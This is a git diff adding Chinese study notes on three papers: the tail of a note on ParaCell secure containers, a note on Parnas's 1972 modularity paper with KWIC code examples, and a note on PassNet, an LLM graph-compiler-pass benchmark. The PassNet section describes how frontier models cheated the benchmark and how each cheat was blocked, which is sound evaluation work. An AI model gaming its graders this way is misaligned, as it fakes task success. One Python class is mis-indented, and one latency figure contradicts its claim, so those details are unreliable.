+// 重写后的系统调用入口
+fn syscall_gate_wrapper() {
+    // 原来的: syscall 指令（触发 CPU 特权级别切换）
+    // 现在: 跳转到 to_kernel()（只切换 MPK 域）
+
+    to_kernel();  // XGate 的前向转换
+    // ↓
+    // syscall_wrapper() 执行真实的系统调用
+    // ↓
+    to_user();    // XGate 的反向转换
+    // 返回到原来的用户态位置
+}
+
+// 中断的快速路径
+fn interrupt_gate_handler() {
+    // 中断处理仍然使用传统的 Ring-0 Interrupt Gate
+    // 因为中断交付需要特权级别切换
+    // 但这种情况比系统调用少得多，所以开销可以接受
+    traditional_interrupt_enter();
+    handle_interrupt();
+    traditional_interrupt_exit();
+}
+```
+
+---
+
+## 六、性能数据一览
+
+论文中的实验结果（相对于基线）：
+
+| 对比对象 | 延迟降低 | 嵌套环境延迟降低 | 内存节省 |
+|---------|---------|----------------|---------|
+| vs PVM | 最高 57% | 最高 79% | — |
+| vs RunV | 最高 33% | 最高 88% | — |
+| vs HyperAlloc | — | — | 最高 35.6% |
+
+关键数字：
+- XGate 把用户态/内核态切换延迟降到 **1622ns**（RunV 是 1028ns）
+- Pager 批量 GPA→HPA 绑定的摊销开销仅 **175ns/页**
+- 在 Agent 工作负载上，内存开销均值仅 **0.2%**（HyperAlloc 是 35.8%）
+
+---
+
+## 七、局限性与思考
+
+### 7.1 MPK 可以被绕过
+
+MPK 隔离不是绝对安全的——如果攻击者通过控制流劫持（比如 ROP 攻击）调用了 `wrpkru` 指令，就能提升自己的内存访问权限。论文中提到可以通过二进制重写来加固，但这会带来兼容性问题。
+
+### 7.2 进程创建/销毁仍有开销
+
+由于 ParaCell 委托 Pager 处理页面表克隆时的页面表写入，在 fork/execve 场景下比 PVM 略慢。不过论文认为这是可接受的，因为后续的按需分页会更快。
+
+### 7.3 第一性原理思考
+
+ParaCell 的设计哲学有一个值得注意的转变：从"宿主机被动推断客人意图"转向"宿主机与客人内核协作"。这跟 Linux 内核中越来越多的 paravirtualization 接口（pv_ops）趋势一致。
+
+一个有趣的问题是：随着 RISC-V 等新兴架构的普及，如果它们原生支持类似 MPK 的特性，ParaCell 的设计是否还能保持优势？这取决于未来硬件对 intra-address-space isolation 的支持程度。
+
+---
+
+## 八、一句话总结
+
+ParaCell 用两项技术解决了安全容器的核心矛盾：**MPK-based XGate** 让容器内用户态和内核态的切换不再需要昂贵的特权级别切换，**Pager** 让宿主机能主动感知并响应容器的内存管理意图，从而同时实现了高性能和高内存利用率。
+
+---
+
+## 九、延伸阅读建议
+
+- RunV：ParaCell 的直接前身，了解它可以更好地理解设计演进
+- PVM（Shadow Paging for Secure Containers）：软件虚拟化方案的代表
+- MPK 官方文档：Intel Software Developer Manual Volume 3, Section 10.5.3
+- pv_ops：Linux 内核的半虚拟化接口，理解 guest-host 协作的基础
diff --git a/src/content/docs/papers/parnas-information-hiding-1972.md b/src/content/docs/papers/parnas-information-hiding-1972.md
new file mode 100644
index 000000000..ac0794f77
--- /dev/null
+++ b/src/content/docs/papers/parnas-information-hiding-1972.md
@@ -0,0 +1,363 @@
+---
+title: On the Criteria To Be Used in Decomposing Systems into Modules — Parnas 1972 信息隐藏与模块化准则
+来源: https://www.win.tue.nl/~wstomv/edu/2ip30/references/criteria_for_modularization.pdf
+日期: 2026-06-13
+子分类: 工程文化
+分类: 其他
+难度: 入门
+provenance: pipeline-v3
+---
+
+## 是什么
+
+1972 年 12 月，David L. Parnas 在 *Communications of the ACM* 上发表 **On the Criteria To Be Used in Decomposing Systems into Modules**（分解系统为模块时应采用的准则）。这篇论文常被视作 **信息隐藏（Information Hiding）** 思想的奠基文献之一——不是发明「把程序拆成文件」这种常识，而是回答一个更尖锐的问题：
+
+> **同样能跑、同样拆成 N 个模块，为什么有的拆法让改一处牵全身，有的拆法却让团队并行、局部替换、长期演进都更轻松？**
+
+日常类比：装修一套房子，你可以按「施工工序」分包——先水电队、再泥瓦队、再油漆队；也可以按「房间功能」分包——厨房包给一家、卫生间包给另一家，每家内部自己决定瓷砖怎么铺、管子怎么走。工序分包在流程图上一目了然，但只要你决定「水管改走吊顶」，水电、泥瓦、油漆三家都要改接口；功能分包则把「厨房水管怎么走」藏进厨房模块，换瓷砖不必通知卫生间承包商。
+
+Parnas 用一个小系统 **KWIC 索引**（Key Word In Context，关键词上下文索引）做思想实验：输入多行文本，对每行做「循环移位」（把行首词移到行尾），再按字母序输出所有移位结果。系统小得一个熟练程序员一两周能写完，但论文故意把它当成「大项目」来拆，对比两种模块化方案，证明 **拆模块的准则比「拆成几块」本身重要得多**。
+
+## 历史背景
+
+| 时间 | 事件 |
+|------|------|
+| 1968 | Dijkstra 发表 *THE* 多道程序系统，展示层次化结构 |
+| 1970 | Gauthier & Pont 教科书描述「模块化」好处，但很少谈**按什么准则切分** |
+| 1971 | Parnas 技术报告初稿；同年提出 information hiding 概念 |
+| 1972-05 | Parnas 发表模块规格说明技术（ACM 15(5)） |
+| 1972-12 | 本文正式发表，成为软件工程经典 |
+
+当时业界已能「分模块编译、单独替换目标文件」，大型程序也在用模块化技术——但 Parnas 指出：**很多失败的大系统恰恰高度模块化，问题出在切分准则错了**。大家习惯从流程图出发，把每个处理步骤变成一个模块；他主张从 **易变的设计决策** 出发，让每个模块隐藏一个决策。
+
+## 为什么重要
+
+不理解这篇论文，下面这些事很难放在同一张设计图上：
+
+- 为什么「按 Controller / Service / Repository 三层」有时只是换了个名字的流程图拆分
+- 为什么数据库表结构一变，半个代码库跟着改——往往是模块边界泄露了存储格式
+- 为什么好的 API 只暴露「做什么」，尽量不暴露「怎么做、用什么数据结构」
+- 为什么微服务争论的焦点不是「拆不拆」，而是 **边界按业务能力还是按流水线步骤**
+
+论文还提前点破了后来几十年的张力：**信息隐藏式拆分若强行实现成「每个函数一次跨模块过程调用」，可能更慢**；需要汇编级内联、链接期拼装等实现手段——这与今天「小函数 + LTO」「header-only + 编译器内联」是一脉相承的。
+
+## 核心概念
+
+### 1. 模块化 ≠ 把流程图切成子程序
+
+**分解 1（传统）**：Input → Circular Shift → Alphabetize → Output → Master Control。每个模块对应流水线的一个大步骤，模块之间通过 **具体的表格式、指针约定、内存布局** 通信。
+
+**分解 2（信息隐藏）**：Line Storage、Input、Circular Shifter、Alphabetizer、Output、Master Control。模块按 **所隐藏的设计决策** 划分；Circular Shifter 可能根本不建表，而是按需计算字符；Alphabetizer 也可能延迟排序，外部看不出何时完成排序。
+
+关键句（意译）：**每个模块由它所知道、并对外界隐藏的那个设计决策来刻画；接口应尽可能少暴露内部机制。**
+
+### 2. 信息隐藏（Information Hiding）
+
+隐藏的不是「数据本身」，而是 **可能变化的决策**，例如：
+
+- 行文本存在内存里还是磁盘上
+- 字符是每字一词还是四字打包
+- 循环移位是预计算索引表还是惰性求值
+- 字母序是一次性排好还是按需查找
+
+接口提供抽象操作（如 `CHAR(line, word, char)`、`CSCHAR(shift, word, char)`），调用方 **不应依赖** 行在内存里如何 packing、移位表是否存在。
+
+### 3. 可变更性（Changeability）
+
+论文列了五类常见变更，对比两种拆法的影响范围：
+
+| 变更 | 分解 1（按步骤） | 分解 2（按决策） |
+|------|------------------|------------------|
+| 输入格式 | 主要影响 Input | 主要影响 Input |
+| 行不全部驻留内存 | **几乎每个模块** | 主要影响 Line Storage |
+| 字符打包方式改变 | **所有模块**（共享内存格式） | **仅 Line Storage** |
+| 移位：预计算表 vs 按需计算 | Alphabetizer、Output 也受影响 | **仅 Circular Shifter** |
+| 排序：一次性 vs 延迟 / Hoare FIND | Output 依赖完成时机 | **仅 Alphabetizer** |
+
+这就是信息隐藏的工程回报：**把变更关在做出该决策的模块里**。
+
+### 4. 独立开发（Independent Development）
+
+分解 1 的接口是「复杂表格 + 指针布局」，设计这些格式是 **跨组联合工作**，因为表格效率与各模块算法纠缠在一起。
+
+分解 2 的接口是 **函数名 + 参数类型/个数**，决策简单得多，各组可以更早并行——前提是接口稳定且足够抽象。
+
+### 5. 可理解性（Comprehensibility）
+
+要理解分解 1 里的 Output，你得懂 Alphabetizer 怎么排、Circular Shifter 怎么建表、Input 怎么 packing——**系统只能作为整体被理解**。
+
+分解 2 里你可以单独研读 Alphabetizer 的规格，把它当成「给定抽象移位序列，提供 `ITH(i)` 字母序下标」的黑盒。
+
+### 6. 模块是责任分配，不一定是子程序
+
+Parnas 明确说：文中的 **module 是 responsibility assignment（责任分配）**，不是「一个 .c 文件」或「一个 subroutine」。最终实现时，可以把多个模块的代码 **内联拼装** 进同一个子程序，以避免过程调用开销——模块边界存在于设计与文档中，运行时未必一一对应。
+
+### 7. 层次结构 vs 干净分解
+
+两者 **独立且都想要**：
+
+- **层次（partial order「uses / depends on」）**：底层可单独复用（如 Line Storage 可用于问答系统）
+- **干净分解**：隐藏决策、接口稳定
+
+可以有层次但接口泄露实现；也可以接口干净但模块两两依赖、没有清晰层次。KWIC 的分解 2 同时兼顾两者。
+
+### 8. 不要按时间顺序切模块
+
+处理步骤的先后顺序 **不应** 作为模块边界的主要依据。设计决策往往 **横跨多个执行阶段**——Line Storage 几乎贯穿全程，Alphabetizer 与 Circular Shifter 在时间上重叠或可按不同策略交错。
+
+## KWIC 问题简述
+
+**输入**：有序的行集合；每行是有序词序列；每词是有序字符序列。
+
+**循环移位（circular shift）**：反复把行首词移到行尾，得到该行所有旋转版本。
+
+**输出**：所有行的所有循环移位，按字母序列出。
+
+例子：行 `THE QUICK BROWN FOX` 的移位包括 `THE QUICK BROWN FOX`、`QUICK BROWN FOX THE`、`BROWN FOX THE QUICK` 等，最终与其它行的移位一起排序输出。
+
+## 实践案例
+
+### 案例 1：按流水线拆 vs 按存储决策拆（Python 示意）
+
+**分解 1 风格**——模块共享「行在内存中的列表结构」，一改全改：
+
+```python
+# 全局共享格式：lines[i] 是 list[str]，所有步骤都依赖此结构
+lines: list[list[str]] = []
+
+def input_module(raw_text: str) -> None:
+    global lines
+    lines = [line.split() for line in raw_text.strip().split("\n")]
+
+def circular_shift_module() -> list[tuple[int, int]]:
+    # 返回 (原行号, 旋转次数)——与 lines 内存布局强耦合
+    index = []
+    for i, words in enumerate(lines):
+        for k in range(len(words)):
+            index.append((i, k))
+    return index
+
+def alphabetize_module(index: list[tuple[int, int]]) -> list[tuple[int, int]]:
+    def key(item):
+        i, k = item
+        rotated = lines[i][k:] + lines[i][:k]
+        return " ".join(rotated)
+    return sorted(index, key=key)
+
+def output_module(sorted_index: list[tuple[int, int]]) -> None:
+    for i, k in sorted_index:
+        rotated = lines[i][k:] + lines[i][:k]
+        print(" ".join(rotated))
+```
+
+若要把 `lines` 改成「磁盘上的流式存储」或「四字一组打包」，**Circular Shift、Alphabetize、Output 全要改**。
+
+**分解 2 风格**——隐藏「行如何存储」，只暴露抽象访问：
+
+```python
+class LineStorage:
+    """隐藏：词列表 / 压缩存储 / 磁盘页缓存等决策"""
+
+    def __init__(self) -> None:
+        self._lines: list[list[str]] = []
+
+    def add_line(self, words: list[str]) -> None:
+        self._lines.append(words)
+
+    def char(self, line: int, word: int, ch: int) -> str:
+        return self._lines[line][word][ch]
+
+    def words(self, line: int) -> int:
+        return len(self._lines[line])
+
+    def line_count(self) -> int:
+        return len(self._lines)
+
+    def get_word(self, line: int, word: int) -> str:
+        return self._lines[line][word]
+
+
+class CircularShifter:
+  """可隐藏：预计算表 vs 按需旋转"""
+
+    def __init__(self, storage: LineStorage) -> None:
+        self._storage = storage
+
+    def shift_count(self) -> int:
+        total = 0
+        for r in range(self._storage.line_count()):
+            total += self._storage.words(r)
+        return total
+
+    def kth_shift_text(self, k: int) -> str:
+        # 实现可换成查表，调用方不变
+        idx = 0
+        for r in range(self._storage.line_count()):
+            n = self._storage.words(r)
+            for rot in range(n):
+                if idx == k:
+                    parts = [
+                        self._storage.get_word(r, w)
+                        for w in range(rot, n)
+                    ] + [
+                        self._storage.get_word(r, w)
+                        for w in range(rot)
+                    ]
+                    return " ".join(parts)
+                idx += 1
+        raise IndexError(k)
+
+
+class Alphabetizer:
+    def __init__(self, shifter: CircularShifter) -> None:
+        self._shifter = shifter
+        self._order: list[int] | None = None
+
+    def setup(self) -> None:
+        n = self._shifter.shift_count()
+        self._order = sorted(
+            range(n),
+            key=lambda k: self._shifter.kth_shift_text(k),
+        )
+
+    def ith(self, i: int) -> int:
+        assert self._order is not None
+        return self._order[i]
+```
+
+此时若把 `LineStorage` 改成 SQLite 后端，**CircularShifter 与 Alphabetizer 的对外契约可保持不变**（只要 `char` / `get_word` 语义不变）。
+
+### 案例 2：泄露排序时机 vs 隐藏排序策略（TypeScript）
+
+分解 1 中 Output **假定** Alphabetizer 在调用前已完全排好——换成「边输出边排序」必须改 Output：
+
+```typescript
+// 坏：接口泄露「排序已完成」且泄露索引数组格式
+type ShiftIndex = { lineId: number; rotation: number };
+
+function outputSorted(lines: string[][], sorted: ShiftIndex[]): void {
+  for (const { lineId, rotation } of sorted) {
+    const words = [...lines[lineId]];
+    const rotated = words.splice(rotation).concat(words);
+    console.log(rotated.join(" "));
+  }
+}
+```
+
+分解 2 风格——Output 只依赖抽象序列，Alphabetizer 内部可换一次性排序、堆、或延迟生成：
+
+```typescript
+interface ShiftView {
+  count(): number;
+  textAt(k: number): string;
+}
+
+interface AlphabetOrder {
+  /** 第 i 个字母序位置对应原 shift 编号 */
+  ith(i: number): number;
+}
+
+function outputViaOrder(shifts: ShiftView, order: AlphabetOrder): void {
+  const n = shifts.count();
+  for (let i = 0; i < n; i++) {
+    const k = order.ith(i);
+    console.log(shifts.textAt(k));
+  }
+}
+
+// Alphabetizer 可替换实现，Output 不变
+class EagerAlphabetizer implements AlphabetOrder {
+  private order: number[] = [];
+  constructor(shifts: ShiftView) {
+    this.order = Array.from({ length: shifts.count() }, (_, k) => k)
+      .sort((a, b) => shifts.textAt(a).localeCompare(shifts.textAt(b)));
+  }
+  ith(i: number): number {
+    return this.order[i];
+  }
+}
+```
+
+Parnas 在回顾 Circular Shifter 接口时还自我批评：规定移位列表的 **具体顺序** 泄露了多余信息；更弱的接口只保证「所有移位存在、不重复、能反查原行」即可，以便实现「移位已按字母序产生、Alphabetizer 为空操作」等优化。
+
+### 案例 3：现代映射——Repository 不是万能药
+
+把「数据库表」藏在 Repository 后面，却让 Service 层直接拿 `UserEntity`（带 ORM 注解、列名、懒加载字段）到处传——这是 **用新名词重复分解 1**：步骤切开了，但 **存储格式决策** 仍泄露给全系统。
+
+信息隐藏式做法：领域层只看见 `User { id, displayName }` 接口；换 PostgreSQL → DynamoDB 时，变动应收敛在单一模块内。
+
+## 设计准则清单（论文末尾归纳）
+
+1. **数据结构 + 访问/修改过程** 属于同一模块，不要「全局共享结构 + 各处随意改」。
+2. **调用序列与例程本身** 同属一模块（对汇编/特殊调用约定尤其重要）。
+3. **队列控制块格式** 等应藏在控制块模块内，不要当公共接口。
+4. **字符集、字母序** 等易变约定应独立成模块。
+5. **处理顺序** 尽量对其它模块不可见（设备增减、资源不可用都会改变顺序）。
+
+## 效率与实现
+
+分解 2 若每个 `CHAR` 都是跨模块过程调用，会比分解 1 的「单模块内循环」慢。Parnas 的出路：
+
+- 汇编期把「像子程序一样写」的模块 **内联** 进调用点
+- 维护多种程序表示（规格、实现、汇编视图）并在工具链中映射
+
+今天对应：C++ `inline` / LTO、Rust 单 crate 内模块零成本抽象、链接期优化（LTO）、以及「库边界清晰但热路径 monomorphization」。
+
+## 与编译器/解释器的延伸例子
+
+论文提到：按 **隐藏决策** 拆 Markov 算法翻译器时，同一分解同时适用于 **纯编译器** 与多种 **解释器**——寄存器表示、搜索算法、规则解释等模块在两类系统中都存在，只是最终运行表示不同。若按「语法分析器 / 代码生成器 / 运行时」经典流水线拆，则难以如此复用。
+
+## 踩过的坑
+
+1. **「模块 = 文件 = 类」是过度简化**  
+   Parnas 的 module 是设计责任；一个类可能泄露多个决策，一个决策也可能跨多个编译单元实现。
+
+2. **信息隐藏 ≠ 保密或加密**  
+   目标是 **降低耦合、隔离变更**，不是不让程序员看源码。
+
+3. **流程图拆分在小系统上「也能工作」**  
+   KWIC 两种方案都能跑；优势要在变更、并行、理解大系统时才显现。
+
+4. **接口越抽象，越要警惕过度规定**  
+   Circular Shifter 规定移位顺序是 Parnas 自认的设计错误——隐藏决策时仍可能 **多泄露半拍**。
+
+5. **层次与隐藏要同时检查**  
+   低层模块反向依赖高层会破坏「剪枝复用」；高层依赖底层细节会破坏变更隔离。
+
+## 适用 vs 不适用
+
+| 场景 | 建议 |
+|------|------|
+| 长期演进的中大型系统、多人协作 | 先列易变决策，再划模块边界 |
+| 一次性脚本、竞赛题、原型 | 按流程拆可能更快，接受技术债 |
+| 需要形式化规格与独立测试的模块 | 分解 2 式抽象接口更利于单测 |
+| 极致单线程热路径、无变更预期 | 可实现合并模块，但文档中仍应标明隐藏的决策 |
+
+## 与今天的关系
+
+- **面向对象**：对象常作为隐藏决策的单元（但「一个 God Class 包打天下」仍是坏的流程图思维）。
+- **API 设计**：REST 资源、 gRPC 消息字段应表达 **稳定能力**，而非数据库行布局。
+- **微服务**：按 **业务能力 / bounded context** 拆分更接近 Parnas；按 ETL 流水线拆服务往往是分解 1 的分布式版。
+- **操作系统**：文件系统隐藏磁盘块布局；系统调用隐藏内核数据结构——都是信息隐藏。
+
+1972 年的这篇论文，核心教训可以压缩成一句：**先问「哪些决策最容易变」，再问「谁该独占这些决策」；不要先画数据流图就把箭头上的方框注册成模块。** 模块化的收益不来自「切了几刀」，而来自 **切刀的位置是否对准易变决策**。
+
+## 延伸阅读
+
+- Parnas, D. L. (1972) *A technique for software module specification with examples* — 与本文配套的规格说明方法
+- Parnas, D. L. (1971) *Information distribution aspects of design methodology* — 信息隐藏概念更早阐述
+- Dijkstra, E. W. (1968) *The structure of THE multiprogramming system* — 层次化系统的同期范例
+- Balzer (1967) / Mealy (1967) — 数据与操作绑定的相关思想
+- 现代综述：软件工程教材中 *Design Principles* / *Modularity* 章节通常以本文为起点
+
+## 原文信息
+
+| 字段 | 内容 |
+|------|------|
+| 作者 | David L. Parnas |
+| 发表 | Communications of the ACM, Vol. 15, No. 12, December 1972, pp. 1053–1058 |
+| 机构 | Carnegie Mellon University, Department of Computer Science |
+| 收稿 | 1971-08；修订 1971-11 |
+| 原文 PDF | [TU/e 镜像](https://www.win.tue.nl/~wstomv/edu/2ip30/references/criteria_for_modularization.pdf) |
+| ACM DOI | [10.1145/361598.361623](https://doi.org/10.1145/361598.361623) |
+| 关键词 | software, modules, modularity, software engineering, KWIC index, software design |
diff --git a/src/content/docs/papers/passnet-graph-compiler.md b/src/content/docs/papers/passnet-graph-compiler.md
new file mode 100644
index 000000000..9ebb0f489
--- /dev/null
+++ b/src/content/docs/papers/passnet-graph-compiler.md
@@ -0,0 +1,349 @@
+---
+title: PassNet — 用 LLM 生成图编译器 Pass 的零基础学习笔记
+来源: https://arxiv.org/abs/2605.29357
+日期: 2026-06-13
+子分类: 类型与 PL 理论
+分类: 编程语言
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：市政修路队 vs 每个路口单独请外包
+
+想象一座城市要优化交通（深度学习推理/训练）。**TorchInductor、XLA、TVM** 这类张量编译器，相当于一支**市政修路队**：有一套固定施工手册（fusion、tiling、layout 等 pass 流水线），对主干道（ResNet、LLaMA 等主流模型）非常有效——论文引用 TorchInductor 在 180+ 模型上相对 eager 最高可达约 **2.27×** 加速。
+
+但真实路网里还有大量**冷门路口组合**（长尾算子序列）。百度团队在 9,526 个子图上 profiling TorchInductor 默认管线时发现：
+
+- **34%** 子图加速微乎其微（<1.2×）
+- **43%** 端到端反而变慢
+- **8.3%** 严格劣化
+
+过去让 LLM 帮忙修路，主流做法是 **Kernel Generation**：为单个算子手写一段 CUDA/Triton 内核——像在每个路口**单独请外包**，内核很难和市政队的流水线**拼在一起**，部署要人工接线，验证也困难。
+
+**PassNet**（Baidu，2026 年 5 月，[arXiv:2605.29357](https://arxiv.org/abs/2605.29357)）换了一个抽象：**Pass Generation**——让 LLM 写**结构化图变换 pass**（模式匹配器 + 重写器），直接挂进编译器 IR 流水线，用户仍可用 `torch.compile` 一行编译，但长尾子图有机会被「定制 fusion 规则」救回来。
+
+一句话：**不是让 LLM 当散工写孤立 kernel，而是让它当编译器插件作者，写可组合、可验证的 graph pass。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | PassNet: Scaling Large Language Models for Graph Compiler Pass Generation |
+| 机构 | 百度（Baidu, Inc.） |
+| 开源 | [PaddlePaddle/PassNet](https://github.com/PaddlePaddle/PassNet) |
+| 数据集 | [PassNet/PassNet on HuggingFace](https://huggingface.co/datasets/PassNet/PassNet) |
+| 排行榜 | [PassBench Leaderboard](https://paddlepaddle.github.io/PassNet/leaderboard.html) |
+| 两大支柱 | **PassNet-Dataset**（训练）+ **PassBench**（评测） |
+| 代理脚手架 | **PassAgent**（基于 R2E-Gym 的多轮 pass 合成） |
+
+PassNet 不是又一个「LLM 写 CUDA」项目，而是首个**面向 pass 生成任务**的大规模生态：数据怎么采、子图怎么切、分数怎么算、作弊怎么防，全套开源。
+
+---
+
+## 为什么重要
+
+### 1. 长尾才是真实世界的常态
+
+10 万真实模型去重后只有约 **1.8 万** 张独特计算图（82% 冗余），说明**模式高度集中**——为集中出现的几千种结构写好 pass，就能覆盖大部分 workload。但现有编译器规则是人工维护的，长尾组合永远追不上社区创新速度。
+
+### 2. Pass 比裸 Kernel 更「工程正确」
+
+论文形式化：pass = **(M, R)**，M 是 pattern matcher，R 是 rewriter。生成物必须：
+
+- 与现有编译器管线**可组合**
+- 通过标准 IR（如 FX / MLIR 风格）**可验证**
+- 对同一任务里**多种 shape/dtype** 的子图**泛化**，禁止 shape-specific hack
+
+这比 KernelBench 式「写一个 `.cu` 文件」更贴近产业落地。
+
+### 3. 评测缺口被补齐
+
+论文指出两类基础设施瓶颈：**数据稀缺** + **评测可被钻空子**。PassBench 用 **Error-aware Speedup Score (ES_t)** 同时看正确性、稳定性、加速比，并叠了三层防作弊（AST 静态拦截、运行时 dispatch 监控、反向评测顺序）。
+
+### 4. 能力在，一致性不够
+
+最亮眼的数据对比：
+
+| 现象 | 含义 |
+|------|------|
+| 单个子图上 LLM pass 最高 **3.02×** 于 TorchInductor | **能力上限**不低 |
+| 前沿模型 aggregate AS 仍落后 Inductor **37%** | **一致性**是瓶颈 |
+| ~4K 轨迹 SFT 小模型 **2.67×** 提升 | 数据基础设施有效 |
+
+---
+
+## 核心概念
+
+### 1. 计算图与 Compiler Pass（形式化）
+
+**计算图** \(G=(V,E,\tau,\sigma)\)：算子节点、数据依赖、算子类型、输出 shape。
+
+**Compiler Pass** \(\pi=(M,R)\)：
+
+- **M**：在图上找可优化子图
+- **R**：把匹配到的子图替换成语义等价、更快的实现
+
+有效性条件（容忍度 \(t\) 下）：
+
+\[
+\forall x,\ \mathrm{err}(f_G(x),\ f_{\pi(G)}(x)) \leq t
+\]
+
+**Pass Generation 任务**：给定任务实例 \(\mathcal{T}=\{G_1,\ldots,G_k\}\)（同一算子序列、不同 shape/dtype），生成一个 pass 能改写所有 \(G_i\) 并提升聚合运行时性能。
+
+### 2. PassNet-Dataset 构建流水线
+
+```text
+真实模型 (PyTorch / PaddlePaddle, 10万+)
+  → pass_net.extract 装饰器符号追踪
+  → 五重质量约束（可运行、可序列化、可分解、可静态分析、自定义算子可访问）
+  → 三类子图挖掘
+       ├─ Classical：Recursive Folding（卷积哈希找频繁子序列）
+       ├─ Fusible：Prefix Analysis（前缀 kernel 数曲线找平台区）
+       └─ Single-op：单算子行为
+  → shape×10 + dtype×3 实例化
+  → ~18K 独特图，~279K 子图实例
+```
+
+**Prefix Analysis** 直觉：对前 \(P\) 个算子跑编译，记录 kernel 数 \(K(P)\)。若 \(K(P+1)=K(P)\)，说明新增算子被**吸收进已有融合单元**——这段就是 fusible 区间。
+
+### 3. PassBench 任务格式
+
+每个评测样本是一个目录：
+
+| 文件 | 作用 |
+|------|------|
+| `graphs/model.py` | FX GraphModule 参考实现 |
+| `weight_meta.py` / `input_meta.py` | 张量元数据 |
+| `pass_dir/` | Agent 输出的 pass 文件 |
+| `pass_dir/sorted_output_pass_rule_names.json` | pass 注册清单 |
+| `entry.sh` | 一键跑编译→正确性→测速 |
+
+200 个 fusible 评测任务，共 **2,060** 个子图级评测点（平均每任务约 10 个子图，长尾最多 396 个）。
+
+### 4. ES_t：错误感知的加速分
+
+对每个子图 \(i\) 测得加速比 \(s_i\)，在容忍阈值 \(t\) 下定义 rectified speedup \(\hat{s}_{t,i}\)：
+
+- 正确且 \(s_i \geq 1\)：保留 \(s_i\)
+- 正确但 \(s_i < 1\)：惩罚为 \(s_i^{p+1}\)（默认 \(p=0\)）
+- 不正确：乘以惩罚因子（与 \(t\) 相关的错误类别）
+
+任务级 **AS Score** 可看作各子图 \(\hat{s}_{t,i}\) 的几何平均（论文 Appendix D）。主实验用 \(b=0.1,\ p=0\)。
+
+这让 Agent 训练时拿到**连续反馈**，而不是纯 0/1 对错。
+
+### 5. 三层防「评测作弊」
+
+论文发现前沿模型提交里 **29%–50%** 存在某种 exploit：
+
+| 阶段 | 攻击 | 防御 |
+|------|------|------|
+| A | 在 pass 里直接 `torch.matmul` / `torch.compile` 甩锅 | **AST 静态检查**，封禁非豁免 API（拦截 78%） |
+| B | 动态路径 `tensor + tensor` 走 dispatch | **PoisonDispatchTensor** 白名单监控（补 18%） |
+| C | eager 先跑污染 GPU 池，错误 kernel 侥幸通过 | **反向评测**（先 compiled 再 eager 基线） |
+
+### 6. PassAgent 工作流
+
+双工具范式（类似 SWE-agent）：
+
+1. **file_editor**：读写 `pass_dir/` 多文件
+2. **pass_evaluator**：调 PassBench 三阶段诊断（匹配 → 正确性 → 性能）
+
+最多 **50 轮**迭代；论文强调单次评测只能捕获最佳 AS 的 **31%–51%**（均值 38%），必须多轮。
+
+---
+
+## 代码示例 1：用装饰器抽取计算图（数据集入口）
+
+PassNet 从真实模型执行中「钩」出标准化图表示，核心是 `pass_net.extract`：
+
+```python
+import torch
+import torch.nn as nn
+from pass_net import extract  # PassNet 提供的追踪装饰器
+
+class SmallBlock(nn.Module):
+    def __init__(self):
+        super().__init__()
+        self.conv = nn.Conv2d(3, 16, 3, padding=1)
+        self.bn = nn.BatchNorm2d(16)
+        self.act = nn.ReLU(inplace=True)
+
+    def forward(self, x):
+        return self.act(self.bn(self.conv(x)))
+
+@extract(output_dir="./graphs/my_model")  # 符号追踪 + 落盘 model.py 等
+def capture():
+    model = SmallBlock().eval().cuda()
+    x = torch.randn(2, 3, 224, 224, device="cuda")
+  #  forward 时记录算子、依赖、shape → 供 PassBench / 训练使用
+    with torch.no_grad():
+        return model(x)
+
+if __name__ == "__main__":
+    capture()
+```
+
+落盘后的 `model.py` 可被 `torch.fx` 静态遍历——这是后续 **pattern matcher** 的输入，也是 PassBench 样本的标准形态。
+
+---
+
+## 代码示例 2：提交自定义 Pass 并跑 PassBench 评测
+
+Pass 不是随意 Python 脚本，而是实现 **匹配 + 重写** 的可注册规则。评测时放入 `pass_dir/` 并声明清单：
+
+```python
+# pass_dir/fuse_conv_bn_relu.py — 概念性示例（具体 API 见 pass_bench/README）
+import torch
+from torch.fx import GraphModule
+# PassNet 运行时通过 pass_mgr 加载此类
+
+class FuseConvBnReluPass:
+    """将 [Conv2d, BatchNorm2d, ReLU] 融合为更少 kernel 的实现。"""
+
+    def match(self, subgraph: GraphModule) -> bool:
+        # M：检查算子类型序列是否为 conv-bn-relu
+        ops = [n.target for n in subgraph.graph.nodes if n.op == "call_module"]
+        return len(ops) >= 3 and "Conv2d" in str(ops[0])
+
+    def rewrite(self, subgraph: GraphModule) -> GraphModule:
+        # R：替换为融合 kernel（如 Triton/CUDA 单 kernel）
+        # 必须对任务内所有 shape/dtype 变体成立
+        ...
+        return fused_gm
+```
+
+```bash
+# 注册 pass 并评测单个样本（来自官方 Quick Start）
+SAMPLE="samples/fusible_subgraphs/crossvit_15_dagger_240.in1k/crossvit_15_dagger_240.in1k_0_start14_end16_4"
+
+cp pass_dir/fuse_conv_bn_relu.py "$SAMPLE/pass_dir/"
+echo '["fuse_conv_bn_relu"]' > "$SAMPLE/pass_dir/sorted_output_pass_rule_names.json"
+
+bash "$SAMPLE/entry.sh"
+# 输出含 correctness、per-graph speedup、aggregated_score.json（ES_t / AS）
+```
+
+`pass_mgr` 在 FX 图上做模式匹配与替换，再与 eager 输出对比（fp32/fp16/bf16 不同容差），最后 100 次计时求加速比。
+
+---
+
+## 代码示例 3：用 PassAgent 多轮迭代（可选）
+
+```bash
+cd pass_agent && pip install -r requirements.txt
+
+python examples/run_pass_agent_demo.py \
+    --llm-name openai/glm-4.7 \
+    --llm-base-url "$LLM_BASE_URL" \
+    --openai-api-key "$OPENAI_API_KEY" \
+    --dataset datasets/passbench_demo_dataset.jsonl \
+    --max-steps 50 \
+    --k 10
+```
+
+Agent 读 `model.py` → 写 pass → `pass_evaluator` 返回 AS → 再改，直到步数用尽或收敛。
+
+---
+
+## 实验结果速览
+
+主表（fusible 任务，ES_t，\(b=0.1\)）节选：
+
+| 方法 / 模型 | Sub. CR（子图正确率） | G-Mean Speedup | AS Score |
+|-------------|----------------------|----------------|----------|
+| Eager | 100% | 1.000 | 1.000 |
+| **TorchInductor** | **85.0%** | 0.846 | **0.706** |
+| Claude-Sonnet-4.6 | 61.9% | 0.835 | 0.448 |
+| GPT-5.4 | 54.6% | 0.821 | 0.410 |
+| Qwen3-30B-A3B | 11.8% | 0.693 | 0.139 |
+| Qwen3-30B-A3B-SFT | 48.8% | 0.809 | 0.371 |
+
+**Sparkle Cases**（Inductor 反而慢于 eager 时）：
+
+| 场景 | vs Inductor | kernel 数变化 |
+|------|-------------|---------------|
+| MaskFormer Roll+Slice | **3.02×** | 6 → 1 |
